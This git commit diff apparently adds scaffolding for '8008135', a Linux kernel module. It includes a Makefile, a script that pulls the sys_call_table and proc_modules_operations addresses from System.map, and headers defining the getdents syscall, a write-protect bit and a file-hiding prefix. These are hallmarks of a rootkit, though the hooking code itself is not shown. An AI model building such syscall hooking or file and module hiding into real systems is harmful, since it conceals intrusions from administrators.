Merge branch 'dev_vlr'
Merge is necessary due to greater changes in the project infrastructuremerge-requests/1/head v0.1
commit
07c9adca64
@ -1,37 +0,0 @@
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<?xml version="1.0"?>
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<anjuta>
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<plugin name="GBF Project Manager"
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url="http://anjuta.org/plugins/"
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mandatory="yes">
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<require group="Anjuta Plugin"
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attribute="Interfaces"
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value="IAnjutaProjectManager"/>
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</plugin>
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<plugin name="Makefile Project Backend"
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url="http://anjuta.org/plugins/"
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mandatory="yes">
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<require group="Anjuta Plugin"
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attribute="Interfaces"
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value="IAnjutaProjectBackend"/>
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<require group="Project"
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attribute="Supported-Project-Types"
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value="make"/>
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</plugin>
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<plugin name="Symbol Browser"
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url="http://anjuta.org/plugins/"
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mandatory="yes">
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<require group="Anjuta Plugin"
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attribute="Interfaces"
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value="IAnjutaSymbolManager"/>
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</plugin>
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<plugin name="Make Build System"
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url="http://anjuta.org/plugins/"
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mandatory="yes">
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<require group="Anjuta Plugin"
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attribute="Interfaces"
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value="IAnjutaBuildable"/>
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<require group="Build"
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attribute="Supported-Build-Types"
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value="make"/>
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</plugin>
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</anjuta>
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@ -1,6 +1,38 @@
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obj-m += 8008135.o
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modules:
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make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
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clean:
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make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
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# Module name
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MNAME := 8008135
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# Build
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MODULEDIR := /lib/modules/$(shell uname -r)
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BUILDDIR := $(MODULEDIR)/build
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KERNELDIR := $(MODULEDIR)/kernel
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# Source files
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SRCS_S := src
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LIBS_S := src/libs
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INCL_S := src/include
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# Header files
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SRCS_H := $(PWD)/$(SRCS_S)/headers
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LIBS_H := $(PWD)/$(LIBS_S)/headers
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INCL_H := $(PWD)/$(INCL_S)/headers
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obj-m += $(MNAME).o
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# Core
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$(MNAME)-y += src/$(MNAME).o
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# Includes for header files etc
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ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
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all:
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$(shell $(SRCS_S)/create_sysgen.sh)
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$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
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load:
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insmod $(MNAME).ko
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unload:
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rmmod $(MNAME)
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clean:
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-rm $(SRCS_H)/sysgen.h
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$(MAKE) -C $(BUILDDIR) M=$(PWD) clean
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@ -1,14 +0,0 @@
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#!/bin/bash
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smap="/boot/System.map-$(uname -r)"
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echo -e "#pragma once" > ./sysgen.h
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echo -e "#include <linux/fs.h>" >> ./sysgen.h
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symbline=$(cat $smap | grep '\Wsys_call_table$')
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set $symbline
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echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h
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procline=$(cat $smap | grep '\Wproc_modules_operations$')
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set $procline
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echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> ./sysgen.h
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@ -0,0 +1,19 @@
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#!/usr/bin/env bash
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SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
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SRCS_H="$SCRIPTPATH""/headers"
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SGENH="$SRCS_H""/sysgen.h"
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smap="/boot/System.map-$(uname -r)"
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echo -e "#pragma once" > "$SGENH"
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echo -e "#include <linux/fs.h>" >> "$SGENH"
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symbline=$(cat $smap | grep '\Wsys_call_table$')
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set $symbline
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[ -z "$symbline" ] && echo "No SysCall Table Value from System.map found" && exit 2;
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echo -e "void** sys_call_table = (void**)0x$1;" >> "$SGENH"
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procline=$(cat $smap | grep '\Wproc_modules_operations$')
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set $procline
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echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> "$SGENH"
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@ -0,0 +1,66 @@
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#ifndef SRC_HEADERS_8008135_H
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#define SRC_HEADERS_8008135_H
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/**** Includes ***************************************************************
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*******************************************************************************/
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#include <linux/module.h>
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#include <linux/kernel.h>
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#include <linux/kallsyms.h>
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#include <asm/special_insns.h>
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#include <linux/string.h>
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#include <linux/fs.h>
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#include "sysgen.h"
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/**** Defines *****************************************************************
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*******************************************************************************/
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#define GETDENTS_SYSCALL_NUM 78
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#define WRITE_PROTECT_FLAG (1<<16)
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#define HIDE_PREFIX "8008135."
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#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1)
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#define MODULE_NAME "8008135"
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#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
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/**** Modinfo ****************************************************************
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*******************************************************************************/
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MODULE_LICENSE("GPLv3");
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MODULE_AUTHOR("JanKoernerEnterprises");
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MODULE_DESCRIPTION("8008135");
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MODULE_VERSION("0.1");
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/**** type *******************************************************************
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*******************************************************************************/
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struct linux_dirent {
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unsigned long d_ino;
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unsigned long d_off;
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unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
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char d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
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};
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typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
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struct linux_dirent __user *dirent,
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unsigned int count);
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#endif /* SRC_HEADERS_8008135_H */
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@ -0,0 +1,43 @@
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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||||
* See the GNU General Public License for more details.
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||||
*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/**** Debugging ***************************************************************
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*******************************************************************************/
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#ifndef SRC_INCLUDE__HEADERS_UTILS_H_
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#define SRC_INCLUDE_HEADERS_UTILS_H_
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#define DEBUG_ENABLED 1
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/**** Debugging ***************************************************************
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*******************************************************************************/
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/* variadic macro for debug messages */
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#define debug(str, ...) \
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if (DEBUG_ENABLED) { \
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pr_info("[ 8008135 ] [ %s ] " str "\n", \
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__func__, ##__VA_ARGS__); \
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}
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#define alert(str, ...) \
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if (DEBUG_ENABLED) { \
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pr_warn("[ 8008135 ] [ %s ] " str "\n", \
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__func__, ##__VA_ARGS__); \
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}
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#endif /* SRC_INCLUDE_HEADERS_UTILS_H_ */
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